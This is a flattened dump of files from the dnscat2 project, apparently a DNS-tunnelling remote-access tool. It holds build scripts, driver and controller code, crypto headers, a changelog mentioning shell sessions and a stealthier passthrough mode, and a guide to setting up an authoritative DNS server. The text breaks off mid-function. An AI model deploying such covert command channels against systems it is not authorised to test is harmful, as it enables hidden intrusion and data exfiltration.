RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(OS)-$(ARCH)" 16 | endif 17 | 18 | all: 19 | @cd client && make 20 | @echo "Compile complete!" 21 | @echo "* Client: client/dnscat" 22 | @echo "* Server: server/dnscat_*.rb" 23 | 24 | clean: 25 | @cd client && make clean 26 | 27 | debug: 28 | @cd client && make debug 29 | @echo "Debug compile complete!" 30 | 31 | release: 32 | @make clean 33 | -mkdir dist/ 34 | @cd client && make release 35 | @mv client/dnscat . 36 | @strip dnscat 37 | @tar -cvvjf dist/${RELEASE_FILENAME}.tar.bz2 dnscat 38 | @echo "*** Release compiled: `pwd`/${RELEASE_FILENAME}" 39 | @echo "*** By the way, did you update the version number in the server?" 40 | @echo "Release compile complete!" 41 | 42 | source_release: 43 | @make clean 44 | -mkdir dist/ 45 | @cp -r client dnscat2_client 46 | @tar -cvvjf dist/dnscat2-${VERSION}-client-source.tar.bz2 dnscat2_client 47 | @zip -r dist/dnscat2-${VERSION}-client-source.zip dnscat2_client 48 | @rm -rf dnscat2_client 49 | @cp -r server dnscat2_server 50 | @tar -cvvjf dist/dnscat2-${VERSION}-server.tar.bz2 dnscat2_server 51 | @zip -r dist/dnscat2-${VERSION}-server.zip dnscat2_server 52 | @rm -rf dnscat2_server 53 | 54 | dnscat: 55 | @cd client && make dnscat 56 | 57 | -------------------------------------------------------------------------------- /doc/adding_a_driver.md: -------------------------------------------------------------------------------- 1 | This is intended to be a quick guide / reference on how you can write 2 | your own i/o drivers for dnscat2! To give you an idea of what they can 3 | do, here are some examples of i/o drivers: 4 | 5 | - Console (turned on with --console, lets users type messages to the 6 | server) 7 | - Exec (turned on with --exec, tunnels i/o to/from a process) 8 | - Command (default; an interactive session that can spawn other 9 | sessions) 10 | 11 | This guide is about how to add others! 12 | 13 | Here are the steps: 14 | - Update drivers/driver.(c|h) to add simple wrappers to handle the 15 | driver type (discount polymorphism) 16 | - Create a .c and .h file that implement the following methods: 17 | - driver_XXX_t \*driver_XXX_create(select_group_t \*group); 18 | - void driver_XXX_destroy(driver_XXX_t \*driver); 19 | - void driver_XXX_data_received(driver_XXX_t \*driver, uint8_t \*data, size_t length); 20 | - uint8_t \*driver_XXX_get_outgoing(driver_XXX_t \*driver, size_t \*length, size_t max_length); 21 | - void driver_XXX_close(driver_XXX_t \*driver); 22 | - Add the .o for the driver to the Makefile under OBJS 23 | - Add the following function to controller/session.(c|h): 24 | - session_t \*session_create_XXX(select_group_t \*group, char \*name) 25 | - If it's a sub-protocol - that is, anything that the server needs to handle in a special way - be sure to set some SYN options that the server will see 26 | - Make it possible to create the driver 27 | - Update main() in dnscat.c with commandline options to create the driver (don't forget to update 'usage'!) 28 | - Update driver_command.c with the ability to create instances of it 29 | -------------------------------------------------------------------------------- /server/tunnel_drivers/driver_tcp.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # driver_tcp.rb 3 | # Created March, 2013 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # A TCP wrapper for the dnscat2 protocol (mostly for testing) 9 | ## 10 | 11 | require 'socket' 12 | 13 | class DriverTCP 14 | def initialize(s) 15 | @s = s 16 | end 17 | 18 | def recv() 19 | loop do 20 | length = @s.read(2) 21 | if(length.nil? || length.length != 2) 22 | raise(IOError, "Connection closed while reading the length") 23 | end 24 | length = length.unpack("n").shift 25 | 26 | incoming = @s.read(length) 27 | if(incoming.nil? || incoming.length != length) 28 | raise(IOError, "Connection closed while reading packet") 29 | end 30 | 31 | outgoing = yield(incoming, 32767) 32 | if(!outgoing.nil?) 33 | outgoing = [outgoing.length, outgoing].pack("nA*") 34 | @s.write(outgoing) 35 | end 36 | end 37 | end 38 | 39 | def close() 40 | @s.close 41 | end 42 | 43 | def DriverTCP.go(host, port) 44 | Log.WARNING(nil, "Starting Dnscat2 TCP server on #{host}:#{port}...") 45 | server = TCPServer.new(port) 46 | 47 | loop do 48 | Thread.start(server.accept) do |s| 49 | Log.INFO(nil, "Received a new connection from #{s.peeraddr[3]}:#{s.peeraddr[1]} (#{s.peeraddr[2]})...") 50 | 51 | begin 52 | tcp = DriverTCP.new(s) 53 | Dnscat2.go(tcp) 54 | rescue IOError => e 55 | puts("IOError caught: #{e.inspect}") 56 | puts(e.inspect) 57 | puts(e.backtrace) 58 | end 59 | end 60 | end 61 | end 62 | end 63 | -------------------------------------------------------------------------------- /client/libs/crypto/sha3.h: -------------------------------------------------------------------------------- 1 | /* sha3.h */ 2 | #ifndef __SHA3_H__ 3 | #define __SHA3_H__ 4 | #include "ustd.h" 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | #define sha3_224_hash_size 28 11 | #define sha3_256_hash_size 32 12 | #define sha3_384_hash_size 48 13 | #define sha3_512_hash_size 64 14 | #define sha3_max_permutation_size 25 15 | #define sha3_max_rate_in_qwords 24 16 | 17 | /** 18 | * SHA3 Algorithm context. 19 | */ 20 | typedef struct sha3_ctx 21 | { 22 | /* 1600 bits algorithm hashing state */ 23 | uint64_t hash[sha3_max_permutation_size]; 24 | /* 1536-bit buffer for leftovers */ 25 | uint64_t message[sha3_max_rate_in_qwords]; 26 | /* count of bytes in the message[] buffer */ 27 | unsigned rest; 28 | /* size of a message block processed at once */ 29 | unsigned block_size; 30 | } sha3_ctx; 31 | 32 | /* methods for calculating the hash function */ 33 | 34 | void sha3_224_init(sha3_ctx *ctx); 35 | void sha3_256_init(sha3_ctx *ctx); 36 | void sha3_384_init(sha3_ctx *ctx); 37 | void sha3_512_init(sha3_ctx *ctx); 38 | void sha3_update(sha3_ctx *ctx, const unsigned char* msg, size_t size); 39 | void sha3_final(sha3_ctx *ctx, unsigned char* result); 40 | 41 | #ifdef USE_KECCAK 42 | #define keccak_224_init sha3_224_init 43 | #define keccak_256_init sha3_256_init 44 | #define keccak_384_init sha3_384_init 45 | #define keccak_512_init sha3_512_init 46 | #define keccak_update sha3_update 47 | void keccak_final(sha3_ctx *ctx, unsigned char* result); 48 | #endif 49 | 50 | #ifdef __cplusplus 51 | } /* extern "C" */ 52 | #endif /* __cplusplus */ 53 | 54 | #endif /* __SHA3_H__ */ 55 | -------------------------------------------------------------------------------- /doc/README.md: -------------------------------------------------------------------------------- 1 | There are enough documentation files that it's getting out of hand. So 2 | here they are! 3 | 4 | # User documents 5 | 6 | ## [README.md](/README.md) 7 | 8 | The main usage documentation. 9 | 10 | ## [changelog.md](changelog.md) 11 | 12 | The changelog. 13 | 14 | ## [authoritative_dns_setup.md](authoritative_dns_setup.md) 15 | 16 | Instructions on how to set up an authoritative nameserver. 17 | 18 | # Architecture / developer documents 19 | 20 | ## [contributing.md](contributing.md) 21 | 22 | The place to start if you're thinking about contributing to dnscat2, or 23 | even if you're just interested in learning about the structure and 24 | design decisions in the code. 25 | 26 | Most of the documents below are created to support contributing.md. 27 | 28 | ## [protocol.md](protocol.md) 29 | 30 | The dnscat2 protocol (both the tunnel protocol and the dnscat2 protocol, 31 | right now). 32 | 33 | ## [command_protocol.md](command_protocol.md) 34 | 35 | The sub-protocol used for commands. 36 | 37 | ## [client_architecture.md](client_architecture.md) 38 | 39 | The structure, design decisions, libraries, and everything else you need 40 | to understand the client in full. 41 | 42 | ## [server_architecture.md](server_architecture.md) 43 | 44 | The structure, design decisions, libraries, and everything else you need 45 | to understand the server in full. 46 | 47 | # Developer / process docs 48 | 49 | ## [how_to_do_a_release.md](how_to_do_a_release.md) 50 | 51 | The steps I take when I perform a release. 52 | 53 | ## [adding_a_driver.md](adding_a_driver.md) 54 | 55 | How to create a driver on the client. I'm not entirely sure this is up 56 | to date. 57 | -------------------------------------------------------------------------------- /client/libs/memory.h: -------------------------------------------------------------------------------- 1 | /* memory.h 2 | * By Ron 3 | * Created January, 2010 4 | * 5 | * (See LICENSE.md) 6 | * 7 | * Implements functions for managing memory. Optionally (based on defining 8 | * TEST_MEMORY) keeps track of all memory allocated and prints out a summary at 9 | * the end. Great for finding memory leaks. 10 | */ 11 | 12 | #ifndef __MEMORY_H__ 13 | #define __MEMORY_H__ 14 | 15 | #include /* For size_t */ 16 | 17 | #include "types.h" 18 | 19 | /* Make calls to malloc/realloc that die cleanly if the calls fail. safe_malloc() initializes buffer to 0. */ 20 | #define safe_malloc(size) safe_malloc_internal(size, __FILE__, __LINE__) 21 | void *safe_malloc_internal(size_t size, char *file, int line); 22 | 23 | #define safe_realloc(ptr,size) safe_realloc_internal(ptr, size, __FILE__, __LINE__) 24 | void *safe_realloc_internal(void *ptr, size_t size, char *file, int line); 25 | 26 | #define safe_strdup(str) safe_strdup_internal(str, __FILE__, __LINE__) 27 | char *safe_strdup_internal(const char *str, char *file, int line); 28 | 29 | #define safe_memcpy(str,len) safe_memcpy_internal(str, len, __FILE__, __LINE__) 30 | void *safe_memcpy_internal(const void *data, size_t length, char *file, int line); 31 | 32 | /* Free memory and remove it from our list of allocated memory. */ 33 | #define safe_free(ptr) safe_free_internal(ptr, __FILE__, __LINE__) 34 | void safe_free_internal(void *ptr, char *file, int line); 35 | 36 | /* Create a UNICODE string based on an ASCII one. Be sure to free the memory! */ 37 | char *unicode_alloc(const char *string); 38 | /* Same as unicode_alloc(), except convert the string to uppercase first. */ 39 | char *unicode_alloc_upper(const char *string); 40 | 41 | /* Print the currently allocated memory. Useful for checking for memory leaks. */ 42 | void print_memory(); 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /client/libs/crypto/micro-ecc/platform-specific.inc: -------------------------------------------------------------------------------- 1 | /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ 2 | 3 | #ifndef _UECC_PLATFORM_SPECIFIC_H_ 4 | #define _UECC_PLATFORM_SPECIFIC_H_ 5 | 6 | #include "types.h" 7 | 8 | #if (defined(_WIN32) || defined(_WIN64)) 9 | /* Windows */ 10 | 11 | #define WIN32_LEAN_AND_MEAN 12 | #include 13 | #include 14 | 15 | static int default_RNG(uint8_t *dest, unsigned size) { 16 | HCRYPTPROV prov; 17 | if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { 18 | return 0; 19 | } 20 | 21 | CryptGenRandom(prov, size, (BYTE *)dest); 22 | CryptReleaseContext(prov, 0); 23 | return 1; 24 | } 25 | #define default_RNG_defined 1 26 | 27 | #elif defined(unix) || defined(__linux__) || defined(__unix__) || defined(__unix) || \ 28 | (defined(__APPLE__) && defined(__MACH__)) || defined(uECC_POSIX) 29 | 30 | /* Some POSIX-like system with /dev/urandom or /dev/random. */ 31 | #include 32 | #include 33 | #include 34 | 35 | #ifndef O_CLOEXEC 36 | #define O_CLOEXEC 0 37 | #endif 38 | 39 | static int default_RNG(uint8_t *dest, unsigned size) { 40 | int fd = open("/dev/urandom", O_RDONLY | O_CLOEXEC); 41 | if (fd == -1) { 42 | fd = open("/dev/random", O_RDONLY | O_CLOEXEC); 43 | if (fd == -1) { 44 | return 0; 45 | } 46 | } 47 | 48 | char *ptr = (char *)dest; 49 | size_t left = size; 50 | while (left > 0) { 51 | ssize_t bytes_read = read(fd, ptr, left); 52 | if (bytes_read <= 0) { /* read failed */ 53 | close(fd); 54 | return 0; 55 | } 56 | left -= bytes_read; 57 | ptr += bytes_read; 58 | } 59 | 60 | close(fd); 61 | return 1; 62 | } 63 | #define default_RNG_defined 1 64 | 65 | #endif /* platform */ 66 | 67 | #endif /* _UECC_PLATFORM_SPECIFIC_H_ */ 68 | -------------------------------------------------------------------------------- /server/libs/command_helpers.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # command_helpers.rb 3 | # Created September 16, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # These are used both by controller_commands.rb and driver_command_commands.rb, 9 | # so instead of copying the code I put them together. 10 | # 11 | # It's unlikely that anybody else would have a use for this. 12 | ## 13 | 14 | class CommandHelpers 15 | # Displays the name and children of a window 16 | def CommandHelpers._display_window(window, all, stream, indent = 0) 17 | if(!all && window.closed?()) 18 | return 19 | end 20 | 21 | stream.puts((' ' * indent) + window.to_s()) 22 | window.children() do |c| 23 | _display_window(c, all, stream, indent + 1) 24 | end 25 | end 26 | 27 | def CommandHelpers.display_windows(base_window, all, stream) 28 | _display_window(base_window, all, stream) 29 | end 30 | 31 | def CommandHelpers.wrap(s, width=72, indent=0) 32 | return s.gsub(/(.{1,#{width}})(\s+|\Z)/, "#{" "*indent}\\1\n") 33 | end 34 | 35 | def CommandHelpers.format_field(s) 36 | if(s.nil?) 37 | return "(n/a)" 38 | elsif(s.is_a?(String)) 39 | return "'" + s + "'" 40 | else 41 | return s.to_s() 42 | end 43 | end 44 | 45 | def CommandHelpers.parse_setting_string(str, defaults = nil) 46 | response = (defaults || {}).clone() 47 | 48 | str.split(/,/).each do |segment| 49 | name, value = segment.split(/=/, 2) 50 | if(value.nil?) 51 | raise(ArgumentError, "Invalid settings string; a comma-separated list of name=value pairs is required. ('#{str}')") 52 | end 53 | 54 | name = name.to_sym() 55 | if(defaults && !defaults.has_key?(name)) 56 | raise(ArgumentError, "Invalid setting: #{name}; allowed settings are #{defaults.keys.join(', ')}. ('#{str}')") 57 | end 58 | 59 | if(response[name].is_a?(Array)) 60 | response[name] << value 61 | else 62 | response[name] = value 63 | end 64 | end 65 | 66 | return response 67 | end 68 | end 69 | -------------------------------------------------------------------------------- /server/controller/controller.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # controller.rb 3 | # Created April, 2014 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # This keeps track of all sessions. 9 | ## 10 | 11 | require 'controller/controller_commands' 12 | require 'controller/packet' 13 | require 'controller/session' 14 | require 'libs/commander' 15 | require 'libs/dnscat_exception' 16 | 17 | require 'trollop' 18 | 19 | class Controller 20 | include ControllerCommands 21 | 22 | attr_accessor :window 23 | 24 | def initialize() 25 | @commander = Commander.new() 26 | @sessions = {} 27 | 28 | _register_commands() 29 | 30 | WINDOW.on_input() do |data| 31 | data = Settings::GLOBAL.do_replace(data) 32 | begin 33 | @commander.feed(data) 34 | rescue ArgumentError => e 35 | WINDOW.puts("Error: #{e}") 36 | WINDOW.puts() 37 | @commander.educate(data, WINDOW) 38 | end 39 | end 40 | end 41 | 42 | def _get_or_create_session(id) 43 | if(@sessions[id]) 44 | return @sessions[id] 45 | end 46 | 47 | return (@sessions[id] = Session.new(id, WINDOW)) 48 | end 49 | 50 | def session_exists?(id) 51 | return !@sessions[id].nil? 52 | end 53 | 54 | def find_session(id) 55 | return @sessions[id] 56 | end 57 | 58 | def find_session_by_window(id) 59 | id = id.to_s() 60 | @sessions.each_value do |session| 61 | if(session.window.id.to_s() == id) 62 | return session 63 | end 64 | end 65 | 66 | return nil 67 | end 68 | 69 | def kill_session(id) 70 | session = find(id) 71 | 72 | if(!session.nil?) 73 | session.kill() 74 | end 75 | end 76 | 77 | def list() 78 | return @sessions 79 | end 80 | 81 | def feed(data, max_length) 82 | # If it's a ping packet, handle it up here 83 | if(Packet.peek_type(data) == Packet::MESSAGE_TYPE_PING) 84 | WINDOW.puts("Responding to ping packet: #{Packet.parse(data).body}") 85 | return data 86 | end 87 | 88 | session_id = Packet.peek_session_id(data) 89 | session = _get_or_create_session(session_id) 90 | 91 | return session.feed(data, max_length) 92 | end 93 | end 94 | -------------------------------------------------------------------------------- /doc/authoritative_dns_setup.md: -------------------------------------------------------------------------------- 1 | # Authoritative DNS Server Setup 2 | 3 | dnscat2 runs in two modes — through a direct connection to your server, and through the DNS hierarchy. The second mode requires you to make your server an authoritative DNS server, which traditionally handles the DNS query and converts the url to an IP address. 4 | 5 | # Setup on Namecheap 6 | 7 | Before you start, you will need a server that is running dnscat2 and a domain name that you own. For our example, let's suppose our dnscat2 server has an IP address of 42.42.42.42 and our domain name is "company" 8 | 9 | We will go through setting up an authoritative DNS server on Namecheap, a popular domain registrar. Other services such as GoDaddy have a similar setup process. 10 | 11 | ### Step 1: Sign in 12 | 13 | ![Sign in](http://i.imgur.com/LILdHvC.png) 14 | 15 | ### Step 2: Click on the "manage" button for your domain 16 | 17 | ![Manage button](http://i.imgur.com/MqviES4.png) 18 | 19 | ### Step 3: Click "Advanced DNS" on the left site of the domain navbar 20 | 21 | ![Advanced DNS](http://i.imgur.com/dLxn3oe.png) 22 | 23 | ### Step 4: Click the "EDIT" button on the right of "Domain Nameserver Type" 24 | 25 | Remember to set this to Custom! 26 | 27 | ![Domain Nameserver Type](http://i.imgur.com/TNSKC8V.png) 28 | 29 | ### Step 5: After seting the Server Type to custom fill in the details of your nameservers 30 | 31 | ![Custom Server Type](http://i.imgur.com/FiL8dtM.png) 32 | 33 | ### Step 6: Now it is time to add your personal DNS servers so click the button "ADD NEW" to the right 34 | 35 | ![Adding personal DNS servers](http://i.imgur.com/nKhautV.png) 36 | 37 | ### Step 7: Click the custom button twice and fill in your DNS details 38 | 39 | Don't forget to click on the "Save Changes" button 40 | 41 | ![Adding personal DNS servers](http://i.imgur.com/pBZ5lrU.png) 42 | 43 | You may verify that your authoritative DNS server is correctly setup by running `sudo nc -vv -l -u -p53` on your dnscat2 server, and then sending a DNS query for your domain name. If your server detects a UDP packet, then you have successfully setup your authoritative DNS server! 44 | -------------------------------------------------------------------------------- /client/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile 2 | # By Ron Bowes 3 | # Created January, 2013 4 | # 5 | # (See LICENSE.md) 6 | # 7 | # Should work for Linux and BSD make. 8 | 9 | CC?=gcc 10 | DEBUG_CFLAGS?=-DTESTMEMORY -Werror -O0 11 | RELEASE_CFLAGS?=-Os 12 | CFLAGS?=--std=c89 -I. -static -Wall -D_DEFAULT_SOURCE -fstack-protector-all -Wformat -Wformat-security -g 13 | LIBS=-pie -Wl,-z,relro,-z,now 14 | 15 | OBJS=controller/packet.o \ 16 | controller/session.o \ 17 | controller/controller.o \ 18 | drivers/driver.o \ 19 | drivers/command/driver_command.o \ 20 | drivers/command/command_packet.o \ 21 | drivers/driver_console.o \ 22 | drivers/driver_exec.o \ 23 | drivers/driver_ping.o \ 24 | libs/buffer.o \ 25 | libs/crypto/encryptor.o \ 26 | libs/crypto/micro-ecc/uECC.o \ 27 | libs/crypto/salsa20.o \ 28 | libs/crypto/sha3.o \ 29 | libs/dns.o \ 30 | libs/ll.o \ 31 | libs/log.o \ 32 | libs/memory.o \ 33 | libs/select_group.o \ 34 | libs/tcp.o \ 35 | libs/types.o \ 36 | libs/udp.o \ 37 | tunnel_drivers/driver_dns.o \ 38 | 39 | DNSCAT_DNS_OBJS=${OBJS} dnscat.o -lutil 40 | 41 | all: dnscat 42 | @echo "*** Build complete! Run 'make debug' to build a debug version!" 43 | 44 | debug: CFLAGS += $(DEBUG_CFLAGS) 45 | debug: dnscat 46 | @echo "*** Debug build complete" 47 | 48 | release: CFLAGS += ${RELEASE_CFLAGS} 49 | release: dnscat 50 | 51 | nocrypto: CFLAGS += -DNO_ENCRYPTION 52 | nocrypto: all 53 | 54 | remove: 55 | rm -f /usr/local/bin/dnscat 56 | 57 | uninstall: remove 58 | 59 | clean: 60 | -rm -f *.o */*.o */*/*.o */*/*/*.o *.exe *.stackdump dnscat tcpcat test driver_tcp driver_dns 61 | -rm -rf win32/Debug/ 62 | -rm -rf win32/Release/ 63 | -rm -rf win32/*.ncb 64 | -rm -rf win32/*.sln 65 | -rm -rf win32/*.suo 66 | -rm -rf win32/*.vcproj.* 67 | 68 | dnscat: ${DNSCAT_DNS_OBJS} 69 | ${CC} ${CFLAGS} -o dnscat ${DNSCAT_DNS_OBJS} 70 | @echo "*** dnscat successfully compiled" 71 | 72 | COMMANDS=drivers/command/commands_standard.h \ 73 | drivers/command/commands_tunnel.h 74 | 75 | drivers/command/driver_command.o: drivers/command/driver_command.c ${COMMANDS} 76 | ${CC} -c ${CFLAGS} -o drivers/command/driver_command.o drivers/command/driver_command.c 77 | -------------------------------------------------------------------------------- /client/libs/crypto/encryptor.h: -------------------------------------------------------------------------------- 1 | /** 2 | * encryptor.h 3 | * Created by Ron Bowes 4 | * October, 2015 5 | * 6 | * See LICENSE.md 7 | */ 8 | #ifndef __ENCRYPTOR_H__ 9 | #define __ENCRYPTOR_H__ 10 | 11 | typedef struct 12 | { 13 | char *preshared_secret; 14 | 15 | uint8_t my_private_key[32]; 16 | uint8_t my_public_key[64]; 17 | uint8_t their_public_key[64]; 18 | 19 | uint8_t shared_secret[32]; 20 | uint8_t my_authenticator[32]; 21 | uint8_t their_authenticator[32]; 22 | 23 | uint8_t my_write_key[32]; 24 | uint8_t my_mac_key[32]; 25 | uint8_t their_write_key[32]; 26 | uint8_t their_mac_key[32]; 27 | 28 | uint16_t nonce; 29 | } encryptor_t; 30 | 31 | /* Create a new encryptor and generate a new private key. */ 32 | encryptor_t *encryptor_create(char *preshared_secret); 33 | 34 | /* Set their pubkey, and also calculate all the various derived values. */ 35 | NBBOOL encryptor_set_their_public_key(encryptor_t *encryptor, uint8_t *their_public_key); 36 | 37 | /* Get the next nonce. */ 38 | uint16_t encryptor_get_nonce(encryptor_t *encryptor); 39 | 40 | /* Check if we should re-negotiate. */ 41 | NBBOOL encryptor_should_we_renegotiate(encryptor_t *encryptor); 42 | 43 | /* Print all the internal encryptor variables. */ 44 | void encryptor_print(encryptor_t *encryptor); 45 | 46 | /* Print the short authentication string. */ 47 | void encryptor_print_sas(encryptor_t *encryptor); 48 | 49 | /* Validates that the packet, stored in buffer, has a valid signature. 50 | * It also removes the signature from the buffer. */ 51 | NBBOOL encryptor_check_signature(encryptor_t *encryptor, buffer_t *buffer); 52 | 53 | /* Decrypt the packet, stored in buffer. Also removes the nonce and 54 | * returns it in the nonce parameter, if it's not NULL. */ 55 | void encryptor_decrypt_buffer(encryptor_t *encryptor, buffer_t *buffer, uint16_t *nonce); 56 | 57 | /* Adds a signature to the packet stored in buffer. */ 58 | void encryptor_sign_buffer(encryptor_t *encryptor, buffer_t *buffer); 59 | 60 | /* Encrypts the packet stored in buffer, and adds the nonce to it. */ 61 | void encryptor_encrypt_buffer(encryptor_t *encryptor, buffer_t *buffer); 62 | 63 | /* Destroy the encryptor and free/wipe any memory used. */ 64 | void encryptor_destroy(encryptor_t *encryptor); 65 | 66 | 67 | #endif 68 | -------------------------------------------------------------------------------- /server/tunnel_drivers/tunnel_drivers.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # tunnel_drivers.rb 3 | # Created September 17, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | ## 8 | 9 | class TunnelDrivers 10 | @@drivers = {} 11 | 12 | class StopDriver < Exception 13 | end 14 | 15 | def TunnelDrivers.start(params = {}) 16 | controller = params[:controller] || raise(ArgumentError, "The :controller argument is required") 17 | driver_cls = params[:driver] || raise(ArgumentError, "The :driver argument is required") 18 | args = params[:args] || raise(ArgumentError, "The :args argument is required") 19 | if(!args.is_a?(Array)) 20 | raise(ArgumentError, "The :args argument must be an array") 21 | end 22 | 23 | begin 24 | driver = driver_cls.new(WINDOW, *args) do |data, max_length| 25 | controller.feed(data, max_length) 26 | end 27 | @@drivers[driver.id] = driver 28 | rescue Errno::EACCES => e 29 | puts("") 30 | puts("*** ERROR") 31 | puts("*") 32 | puts("* There was a problem creating the socket: #{e}") 33 | puts("*") 34 | puts("* If you're trying to run this on Linux, chances are you need to") 35 | puts("* run this as root, or give ruby permission to listen on port 53.") 36 | puts("*") 37 | puts("* Sadly, this is non-trivial; rvmsudo doesn't work, because it's") 38 | puts("* a shellscript and breaks ctrl-z; the best way is to use 'su' or") 39 | puts("* 'sudo', and to ensure that the appropriate gems are globally") 40 | puts("* installed.") 41 | puts("*") 42 | puts("* The process will run as usual, but if the 'windows' command doesn't") 43 | puts("* show any listeners, nobody will be able to connect to you!") 44 | puts("*") 45 | puts("*** ERROR") 46 | puts("") 47 | end 48 | end 49 | 50 | def TunnelDrivers.exists?(id) 51 | return !@@drivers[id].nil? 52 | end 53 | 54 | def TunnelDrivers.stop(id) 55 | driver = @@drivers[id] 56 | 57 | if(!driver) 58 | return false 59 | end 60 | 61 | driver.stop() 62 | @@drivers.delete(id) 63 | end 64 | 65 | def TunnelDrivers.each_driver() 66 | @@drivers.each_pair do |id, driver| 67 | yield(id, driver) 68 | end 69 | end 70 | end 71 | -------------------------------------------------------------------------------- /doc/changelog.md: -------------------------------------------------------------------------------- 1 | # 0.07 2 | 3 | * Fixed a bug where 'shell' sessions would completely fail to work 4 | * Introduce `COMMAND_DELAY` to allow operators to change the client's 5 | session delay on-the-fly 6 | * Created a document on how to send bug reports 7 | * Other miscellaneous changes 8 | 9 | # 0.06 10 | 11 | * Implemented tunneling, similar to "ssh -L", which is accessed on the 12 | server via the `listen` command 13 | * Added tools/dnstest.rb, a script to verify that the user actually own 14 | the domain. 15 | * Greatly improved performance when a lot of data is being transmitted 16 | from the server to the client 17 | * Fixed a bug where shared secrets (and other arguments) didn't work on 18 | the client if the user explicitly chose a driver type 19 | * Cleaned up the "create driver" logic on the client 20 | * *BREAKING PROTOCL CHANGE*: Made a change to the command protocol: the 21 | 16-bit `request_id` field was changed into `packed_id`, which has a 22 | 1-bit `is_response` value and a 15-bit `request_id`. 23 | 24 | # 0.04 25 | 26 | * Added encryption, and made all connections encrypted by default 27 | * Some other minor UI or code cleanup changes 28 | 29 | # 0.03 30 | 31 | * Re-wrote large parts of the server into way cleaner code 32 | * Significantly updated the documentation for the server 33 | * Removed reliance from rubydns, a built-in DNS server is now used for 34 | everything 35 | * Added a standalone tool, dnslogger.rb 36 | * There is now a "passthrough" option, which will forward any requests 37 | that dnscat2 doesn't know how to handle to an upstream server 38 | (somewhat stealthier, maybe?) 39 | 40 | # 0.02 41 | 42 | * Re-wrote large parts of the client into cleaner code (for example, 43 | removed the entire message.\* code, which was an awful, awful idea) 44 | * When multiple sessions are in progress, it's now "fair" (a message is 45 | sent every 'tick'; each session now takes turns sending out a message, 46 | rather than the oldest sessions blocking out younger ones 47 | * Removed some parameters that nobody will ever use from the 48 | commandline, like --name and --download (though --download may come back 49 | in another form!) 50 | * Changed the way a "tunnel driver" (ie, dns driver) is created on the 51 | commandline - it's now modeled after socat 52 | * The client will no longer transmit forever against a bad server - it 53 | will attempt to retransmit 10 times by default 54 | 55 | # 0.01 56 | 57 | * Initial release, everything is new! 58 | 59 | 60 | -------------------------------------------------------------------------------- /client/libs/log.c: -------------------------------------------------------------------------------- 1 | /* log.c 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include "assert.h" 12 | #include "memory.h" 13 | 14 | #include "log.h" 15 | 16 | static log_level_t log_console_min = LOG_LEVEL_WARNING; 17 | static log_level_t log_file_min = LOG_LEVEL_INFO; 18 | static FILE *log_file = NULL; 19 | 20 | static char *log_levels[] = { "INFO", "WARNING", "ERROR", "FATAL" }; 21 | 22 | void log_to_file(char *filename, log_level_t min_level) 23 | { 24 | assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL); 25 | 26 | #ifdef WIN32 27 | fopen_s(&log_file, filename, "w"); 28 | #else 29 | log_file = fopen(filename, "w"); 30 | #endif 31 | if(log_file) 32 | log_file_min = min_level; 33 | else 34 | LOG_WARNING("Couldn't open logfile: %s", filename); 35 | } 36 | 37 | void log_set_min_console_level(log_level_t min_level) 38 | { 39 | assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL); 40 | 41 | log_console_min = min_level; 42 | } 43 | 44 | log_level_t log_get_min_console_level() 45 | { 46 | return log_console_min; 47 | } 48 | 49 | /* Most of this code is from the manpage for vsprintf() */ 50 | static void log_internal(log_level_t level, char *format, va_list args) 51 | { 52 | assert(level >= LOG_LEVEL_INFO || level <= LOG_LEVEL_FATAL); 53 | 54 | if(level >= log_console_min) 55 | { 56 | fprintf(stderr, "[[ %s ]] :: ", log_levels[level]); 57 | vfprintf(stderr, format, args); 58 | fprintf(stderr, "\n"); 59 | } 60 | 61 | if(log_file && level >= log_file_min) 62 | { 63 | vfprintf(log_file, format, args); 64 | } 65 | } 66 | 67 | void log_info(char *format, ...) 68 | { 69 | va_list args; 70 | 71 | va_start(args, format); 72 | log_internal(LOG_LEVEL_INFO, format, args); 73 | va_end(args); 74 | } 75 | 76 | void log_warning(char *format, ...) 77 | { 78 | va_list args; 79 | 80 | va_start(args, format); 81 | log_internal(LOG_LEVEL_WARNING, format, args); 82 | va_end(args); 83 | } 84 | 85 | void log_error(char *format, ...) 86 | { 87 | va_list args; 88 | 89 | va_start(args, format); 90 | log_internal(LOG_LEVEL_ERROR, format, args); 91 | va_end(args); 92 | } 93 | 94 | void log_fatal(char *format, ...) 95 | { 96 | va_list args; 97 | 98 | va_start(args, format); 99 | log_internal(LOG_LEVEL_FATAL, format, args); 100 | va_end(args); 101 | } 102 | -------------------------------------------------------------------------------- /client/drivers/driver_ping.c: -------------------------------------------------------------------------------- 1 | /* driver_ping.c 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef WIN32 13 | #include 14 | #endif 15 | 16 | #include "libs/log.h" 17 | #include "libs/memory.h" 18 | #include "libs/select_group.h" 19 | #include "libs/types.h" 20 | 21 | #include "driver_ping.h" 22 | 23 | #define PING_LENGTH 16 24 | 25 | void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length) 26 | { 27 | if(!strcmp((char*)data, (char*)driver->data)) 28 | { 29 | printf("Ping response received! This seems like a valid dnscat2 server.\n"); 30 | 31 | exit(0); 32 | } 33 | else 34 | { 35 | printf("Ping response received, but it didn't contain the right data!\n"); 36 | printf("Expected: %s\n", driver->data); 37 | printf("Received: %s\n", data); 38 | printf("\n"); 39 | 